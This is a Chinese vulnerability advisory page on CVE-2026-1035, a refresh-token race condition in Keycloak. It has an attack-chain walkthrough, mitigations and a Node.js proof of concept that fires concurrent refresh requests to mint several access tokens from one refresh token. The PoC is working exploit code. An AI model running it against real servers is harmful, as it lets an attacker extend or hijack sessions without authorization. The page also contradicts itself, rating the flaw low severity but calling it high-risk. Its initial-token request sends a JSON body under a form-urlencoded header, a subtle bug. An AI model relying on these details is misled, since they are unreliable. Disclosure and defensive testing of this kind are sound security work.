IPBUF安全漏洞报告
English
CVE-2026-1035 CVSS 3.1 低危

CVE-2026-1035 Keycloak刷新令牌竞态条件绕过安全限制漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2026-1035
漏洞类型
竞态条件
CVSS评分
3.1 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Keycloak

相关标签

竞态条件Keycloak刷新令牌绕过身份认证OAuth2OpenID Connect会话安全Red Hat

漏洞概述

CVE-2026-1035是Keycloak服务器中的一个高危安全漏洞,存在于刷新令牌(Refresh Token)处理流程中。该漏洞位于TokenManager类,负责执行刷新令牌重用策略。当启用严格的刷新令牌轮换机制时,刷新令牌的使用验证和更新操作并非原子性执行,存在竞态条件窗口。攻击者可通过并发发送多个刷新请求,利用这一时间差绕过单次使用限制,从而从同一个刷新令牌获取多个访问令牌。此漏洞严重削弱了Keycloak的刷新令牌轮换安全加固机制,可能导致会话被劫持或权限提升。建议受影响的用户及时更新至安全版本并采取临时缓解措施。

技术细节

漏洞根源在于Keycloak的TokenManager类在处理刷新令牌时,验证逻辑与更新逻辑之间存在非原子操作。当用户使用刷新令牌请求新的access_token时,系统需要执行两个关键步骤:首先验证该刷新令牌是否已被使用过,其次更新令牌使用记录以标记为已使用。然而这两个操作之间存在竞态窗口,攻击者可以在验证通过但更新未完成的时间间隙内,发送并发请求。由于验证逻辑仍认为令牌未被使用,第二个请求也能成功通过验证,导致同一个刷新令牌被用于生成多个access_token。在高并发场景下,攻击者可能多次利用同一刷新令牌获取有效凭证,从而实现会话劫持或延长会话有效期以维持持久化访问。修复方案需要确保令牌验证和更新的原子性,例如使用数据库事务锁或乐观锁机制。

攻击链分析

STEP 1
步骤1
攻击者通过正常认证流程获取初始访问令牌和刷新令牌
STEP 2
步骤2
攻击者构造并发刷新请求,在短时间内同时发送多个使用同一刷新令牌的请求
STEP 3
步骤3
Keycloak TokenManager接收多个请求,由于验证和更新操作非原子性,第一个请求通过验证但尚未完成状态更新
STEP 4
步骤4
后续并发请求在状态更新前到达,此时验证逻辑仍认为刷新令牌未被使用,允许请求通过
STEP 5
步骤5
攻击者成功从同一刷新令牌获取多个access_token,实现会话劫持或延长访问权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-1035 PoC - Race Condition in Keycloak Refresh Token // This PoC demonstrates concurrent refresh token requests const http = require('http'); const config = { keycloakUrl: 'http://target-keycloak:8080', realm: 'test-realm', clientId: 'test-client', username: 'testuser', password: 'testpassword' }; async function getInitialTokens() { const data = JSON.stringify({ grant_type: 'password', client_id: config.clientId, username: config.username, password: config.password }); const options = { hostname: new URL(config.keycloakUrl).hostname, port: 8080, path: `/realms/${config.realm}/protocol/openid-connect/token`, method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': Buffer.byteLength(data) } }; return new Promise((resolve, reject) => { const req = http.request(options, (res) => { let body = ''; res.on('data', chunk => body += chunk); res.on('end', () => { try { resolve(JSON.parse(body)); } catch (e) { reject(e); } }); }); req.write(data); req.end(); }); } async function refreshToken(token) { const data = `grant_type=refresh_token&refresh_token=${token}&client_id=${config.clientId}`; const options = { hostname: new URL(config.keycloakUrl).hostname, port: 8080, path: `/realms/${config.realm}/protocol/openid-connect/token`, method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': Buffer.byteLength(data) } }; return new Promise((resolve, reject) => { const req = http.request(options, (res) => { let body = ''; res.on('data', chunk => body += chunk); res.on('end', () => { try { resolve(JSON.parse(body)); } catch (e) { resolve({ error: e.message }); } }); }); req.on('error', reject); req.write(data); req.end(); }); } async function exploit() { console.log('[+] Step 1: Obtaining initial tokens...'); const initialTokens = await getInitialTokens(); const refreshTokenValue = initialTokens.refresh_token; console.log('[+] Got refresh token:', refreshTokenValue.substring(0, 20) + '...'); console.log('[+] Step 2: Sending concurrent refresh requests (Race Condition)...'); const concurrentRequests = 5; const promises = []; for (let i = 0; i < concurrentRequests; i++) { promises.push(refreshToken(refreshTokenValue)); } const results = await Promise.allSettled(promises); console.log('\n[+] Results:'); let successCount = 0; results.forEach((result, index) => { if (result.status === 'fulfilled' && result.value.access_token) { successCount++; console.log(` Request ${index + 1}: SUCCESS - Got access_token`); } else if (result.status === 'fulfilled' && result.value.error) { console.log(` Request ${index + 1}: FAILED - ${result.value.error_description || result.value.error}`); } else { console.log(` Request ${index + 1}: ERROR`); } }); if (successCount > 1) { console.log(`\n[!] VULNERABLE: ${successCount} tokens obtained from single refresh token!`); console.log('[!] Race condition confirmed - refresh token reuse policy bypassed'); } else { console.log('\n[+] NOT VULNERABLE: Only one token obtained (expected behavior)'); } } exploit().catch(console.error);

影响范围

Keycloak < 24.0.5
Keycloak < 23.0.7

防御指南

临时缓解措施
如果无法立即升级,可通过配置反向代理限制同一令牌的并发刷新请求频率,或在应用层实现令牌使用计数器的分布式锁机制。同时建议监控认证日志,关注短时间内同一令牌产生多次刷新成功的异常情况。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表